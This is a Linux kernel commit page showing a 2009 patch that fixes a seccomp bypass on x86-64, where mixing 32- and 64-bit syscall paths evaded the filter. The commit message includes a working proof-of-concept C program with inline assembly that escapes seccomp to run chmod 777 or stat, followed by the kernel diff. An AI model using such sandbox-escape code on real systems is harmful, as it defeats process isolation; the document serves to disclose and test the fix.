diff options
author | Roland McGrath <roland@redhat.com> | 2009-02-27 23:25:54 -0800 |
---|---|---|
committer | Greg Kroah-Hartman <gregkh@suse.de> | 2009-03-16 17:52:59 -0700 |
commit | 47f5f3195be6fcaba3646c68b84704634f241d46 (patch) | |
tree | 06de8b75f60575ac47dac998206ec609a5371810 | |
parent | 045b298368752a4eec3c8d8a754b6fa39a371a22 (diff) | |
download | lwn-47f5f3195be6fcaba3646c68b84704634f241d46.tar.gz lwn-47f5f3195be6fcaba3646c68b84704634f241d46.zip |
x86-64: seccomp: fix 32/64 syscall hole
commit 5b1017404aea6d2e552e991b3fd814d839e9cd67 upstream.
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table. The fix is simple: test TS_COMPAT
instead of TIF_IA32. Here is an example exploit:
/* test case for seccomp circumvention on x86-64
There are two failure modes: compile with -m64 or compile with -m32.
The -m64 case is the worst one, because it does "chmod 777 ." (could
be any chmod call). The -m32 case demonstrates it was able to do
stat(), which can glean information but not harm anything directly.
A buggy kernel will let the test do something, print, and exit 1; a
fixed kernel will make it exit with SIGKILL before it does anything.
*/
#define _GNU_SOURCE
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <linux/prctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <asm/unistd.h>
int
main (int argc, char **argv)
{
char buf[100];
static const char dot[] = ".";
long ret;
unsigned st[24];
if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
#ifdef __x86_64__
assert ((uintptr_t) dot < (1UL << 32));
asm ("int $0x80 # %0 <- %1(%2 %3)"
: "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
ret = snprintf (buf, sizeof buf,
"result %ld (check mode on .!)\n", ret);
#elif defined __i386__
asm (".code32\n"
"pushl %%cs\n"
"pushl $2f\n"
"ljmpl $0x33, $1f\n"
".code64\n"
"1: syscall # %0 <- %1(%2 %3)\n"
"lretl\n"
".code32\n"
"2:"
: "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
if (ret == 0)
ret = snprintf (buf, sizeof buf,
"stat . -> st_uid=%u\n", st[7]);
else
ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
#else
# error "not this one"
#endif
write (1, buf, ret);
syscall (__NR_exit, 1);
return 2;
}
Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
-rw-r--r-- | arch/powerpc/include/asm/compat.h | 5 | ||||
-rw-r--r-- | arch/powerpc/include/asm/seccomp.h | 4 | ||||
-rw-r--r-- | arch/sparc/include/asm/compat.h | 5 | ||||
-rw-r--r-- | arch/sparc/include/asm/seccomp.h | 6 | ||||
-rw-r--r-- | include/asm-mips/seccomp.h | 1 | ||||
-rw-r--r-- | include/asm-x86/seccomp_32.h | 6 | ||||
-rw-r--r-- | include/asm-x86/seccomp_64.h | 8 | ||||
-rw-r--r-- | kernel/seccomp.c | 7 |
8 files changed, 14 insertions, 28 deletions
diff --git a/arch/powerpc/include/asm/compat.h b/arch/powerpc/include/asm/compat.h index d811a8cd7b58..4774c2f92232 100644 --- a/arch/powerpc/include/asm/compat.h +++ b/arch/powerpc/include/asm/compat.h @@ -210,5 +210,10 @@ struct compat_shmid64_ds { compat_ulong_t __unused6; }; +static inline int is_compat_task(void) +{ + return test_thread_flag(TIF_32BIT); +} + #endif /* __KERNEL__ */ #endif /* _ASM_POWERPC_COMPAT_H */ diff --git a/arch/powerpc/include/asm/seccomp.h b/arch/powerpc/include/asm/seccomp.h index 853765eb1f65..00c1d9133cfe 100644 --- a/arch/powerpc/include/asm/seccomp.h +++ b/arch/powerpc/include/asm/seccomp.h @@ -1,10 +1,6 @@ #ifndef _ASM_POWERPC_SECCOMP_H #define _ASM_POWERPC_SECCOMP_H -#ifdef __KERNEL__ -#include <linux/thread_info.h> -#endif - #include <linux/unistd.h> #define __NR_seccomp_read __NR_read diff --git a/arch/sparc/include/asm/compat.h b/arch/sparc/include/asm/compat.h index f260b58f5ce9..0e706257918f 100644 --- a/arch/sparc/include/asm/compat.h +++ b/arch/sparc/include/asm/compat.h @@ -240,4 +240,9 @@ struct compat_shmid64_ds { unsigned int __unused2; }; +static inline int is_compat_task(void) +{ + return test_thread_flag(TIF_32BIT); +} + #endif /* _ASM_SPARC64_COMPAT_H */ diff --git a/arch/sparc/include/asm/seccomp.h b/arch/sparc/include/asm/seccomp.h index 7fcd9968192b..adca1bce41d4 100644 --- a/arch/sparc/include/asm/seccomp.h +++ b/arch/sparc/include/asm/seccomp.h @@ -1,11 +1,5 @@ #ifndef _ASM_SECCOMP_H -#include <linux/thread_info.h> /* already defines TIF_32BIT */ - -#ifndef TIF_32BIT -#error "unexpected TIF_32BIT on sparc64" -#endif - #include <linux/unistd.h> #define __NR_seccomp_read __NR_read diff --git a/include/asm-mips/seccomp.h b/include/asm-mips/seccomp.h index 36ed44070256..a6772e9507f5 100644 --- a/include/asm-mips/seccomp.h +++ b/include/asm-mips/seccomp.h @@ -1,6 +1,5 @@ #ifndef __ASM_SECCOMP_H -#include <linux/thread_info.h> #include <linux/unistd.h> #define __NR_seccomp_read __NR_read diff --git a/include/asm-x86/seccomp_32.h b/include/asm-x86/seccomp_32.h index 36e71c5f306f..5846ab6c1046 100644 --- a/include/asm-x86/seccomp_32.h +++ b/include/asm-x86/seccomp_32.h @@ -1,12 +1,6 @@ #ifndef _ASM_SECCOMP_H #define _ASM_SECCOMP_H -#include <linux/thread_info.h> - -#ifdef TIF_32BIT -#error "unexpected TIF_32BIT on i386" -#endif - #include <linux/unistd.h> #define __NR_seccomp_read __NR_read diff --git a/include/asm-x86/seccomp_64.h b/include/asm-x86/seccomp_64.h index 76cfe69aa63c..2199b5440c4d 100644 --- a/include/asm-x86/seccomp_64.h +++ b/include/asm-x86/seccomp_64.h @@ -1,14 +1,6 @@ #ifndef _ASM_SECCOMP_H #define _ASM_SECCOMP_H -#include <linux/thread_info.h> - -#ifdef TIF_32BIT -#error "unexpected TIF_32BIT on x86_64" -#else -#define TIF_32BIT TIF_IA32 -#endif - #include <linux/unistd.h> #include <asm/ia32_unistd.h> diff --git a/kernel/seccomp.c b/kernel/seccomp.c index ad64fcb731f2..57d4b13b631d 100644 --- a/kernel/seccomp.c +++ b/kernel/seccomp.c @@ -8,6 +8,7 @@ #include <linux/seccomp.h> #include <linux/sched.h> +#include <linux/compat.h> /* #define SECCOMP_DEBUG 1 */ #define NR_SECCOMP_MODES 1 @@ -22,7 +23,7 @@ static int mode1_syscalls[] = { 0, /* null terminated */ }; -#ifdef TIF_32BIT +#ifdef CONFIG_COMPAT static int mode1_syscalls_32[] = { __NR_seccomp_read_32, __NR_seccomp_write_32, __NR_seccomp_exit_32, __NR_seccomp_sigreturn_32, 0, /* null terminated */ @@ -37,8 +38,8 @@ void __secure_computing(int this_syscall) switch (mode) { case 1: syscall = mode1_syscalls; -#ifdef TIF_32BIT - if (test_thread_flag(TIF_32BIT)) +#ifdef CONFIG_COMPAT + if (is_compat_task()) syscall = mode1_syscalls_32; #endif do { |